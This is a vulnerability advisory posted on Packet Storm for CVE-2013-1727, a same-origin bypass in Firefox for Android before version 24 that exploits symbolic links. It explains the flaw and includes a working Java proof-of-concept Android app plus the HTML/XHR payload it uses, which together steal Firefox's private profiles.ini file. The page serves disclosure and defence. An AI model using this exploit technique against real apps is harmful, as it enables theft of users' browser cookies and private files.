what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Firefox For Android Same-Origin Bypass

Firefox For Android Same-Origin Bypass
Posted Sep 30, 2013
Authored by Takeshi Terada

Firefox for Android versions prior to 24 suffer from a same-origin bypass vulnerability via symbolic links.

tags | exploit, bypass
advisories | CVE-2013-1727
SHA-256 | 3a942520517c20e308519b9afe21ca2358a820d16f116fa1c7d936f24bb9491b

Firefox For Android Same-Origin Bypass

Change Mirror Download
CVE Number:         CVE-2013-1727
Vender Identifier: MFSA 2013-84
Title: Firefox for Android - Same-origin bypass through
symbolic links
Affected Software: Prior to v24 (confirmed on v14)
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v24 was released which fixes this vulnerability

Overview:
Firefox for Android's Same-Origin Policy for local files (file: URI) can
be bypassed by using symbolic links. It results in theft of Firefox's
private files by malicious Android apps.

Details:
As described in MDN Document (*), Firefox allows a local file to read
another file, only if the parent directory of the originating file is an
ancestor directory of the target file.

* https://developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs

However, it is possible to circumvent the restriction by a trick using
symbolic link.

This issue enables malicious Android apps to steal Firefox's private
files such as Cookie file.

As an example, steps to steal Firefox's profiles.ini are described below:

1. An attacker's app creates a malicious HTML file, and makes Firefox load
its URL with file scheme. The malicious HTML contains JavaScript code
which, a few seconds later, tries to read the same URL with itself via
XMLHttpRequest.

<u>Wait a few seconds.</u>
<script>
function doit() {
var xhr = new XMLHttpRequest;
xhr.onload = function() {
alert(xhr.responseText);
};
xhr.open('GET', document.URL);
xhr.send(null);
}
setTimeout(doit, 8000);
</script>";

2. Before XHR fires, the attacker's app replaces the malicious HTML with
a symbolic link pointing to Firefox's profiles.ini file.

3. When XHR fires, Firefox follows the symlink and provides the content
of the profiles.ini file to the malicious HTML.

Through the steps above, the attacker's app can gain the path of the
Firefox's private files such as Cookie file. The attacker's app can also
get the contents of those private files in a similar manner.

Note:
It should be noted that this issue does not matter in Firefox for normal
PC platform (such as Windows OS), in which all apps are regarded as
reasonably trustworthy. However it does matter in Android platform with
sandbox security model intended to segretate apps. In such platforms,
app developers cannot regard other apps as trustworty.

By this difference in platform security model, Android apps that are
ported from PC often suffer from unexpected vulnerabilities. Obviously
such vulnerabilities are not specific to Firefox. In reality, I
discovered such vulnerabilities in Chrome for Android last year.

Chrome for Android vulnerabilities:
1. http://seclists.org/bugtraq/2013/Jan/22
2. http://seclists.org/bugtraq/2013/Jan/23
3. http://seclists.org/bugtraq/2013/Jan/24
4. http://seclists.org/bugtraq/2013/Jan/25
5. http://seclists.org/bugtraq/2013/Jan/26

(#4 is a quite similar issue as the issue described in this advisory)

Proof of Concept:
/////////////////////////////////////////////////////////////////
// malicious android app that steals Firefox's profiles.ini file
/////////////////////////////////////////////////////////////////
package jp.mbsd.terada.attackfirefox1;

import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;

public class MainActivity extends Activity {
public final static String MY_PKG =
"jp.mbsd.terada.attackfirefox1";

public final static String MY_TMP_DIR =
"/data/data/" + MY_PKG + "/tmp/";

public final static String HTML_PATH =
MY_TMP_DIR + "A" + Math.random() + ".html";

public final static String TARGET_PKG =
"org.mozilla.firefox";

public final static String TARGET_FILE_PATH =
"/data/data/" + TARGET_PKG + "/files/mozilla/profiles.ini";

public final static String HTML =
"<u>Wait a few seconds.</u>" +
"<script>" +
"function doit() {" +
" var xhr = new XMLHttpRequest;" +
" xhr.onload = function() {" +
" alert(xhr.responseText);" +
" };" +
" xhr.open('GET', document.URL);" +
" xhr.send(null);" +
"}" +
"setTimeout(doit, 8000);" +
"</script>";

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
doit();
}

public void doit() {
try {
// create a malicious HTML
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);

Thread.sleep(1000);

// force Firefox to load the malicious HTML
invokeFirefox("file://" + HTML_PATH);

Thread.sleep(4000);

// replace the HTML with a symbolic link to profiles.ini
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
}
catch (Exception e) {}
}

public void invokeFirefox(String url) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG + ".App");
startActivity(intent);
}

public void cmdexec(String cmd) {
try {
String[] tmp = new String[] {"/system/bin/sh", "-c", cmd};
Runtime.getRuntime().exec(tmp);
}
catch (Exception e) {}
}
}

Timeline:
2012/08/14 Reported to Firefox
2013/09/17 Vender announced v24
2013/09/30 Disclosure of this advisory

Recommendation:
Upgrade to the latest version.

Reference:
http://www.mozilla.org/security/announce/2013/mfsa2013-84.html

--
Takeshi Terada
Mitsui Bussan Secure Directions, Inc.
http://www.mbsd.jp/
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    15 Files
  • 29
    Aug 29th
    41 Files
  • 30
    Aug 30th
    13 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close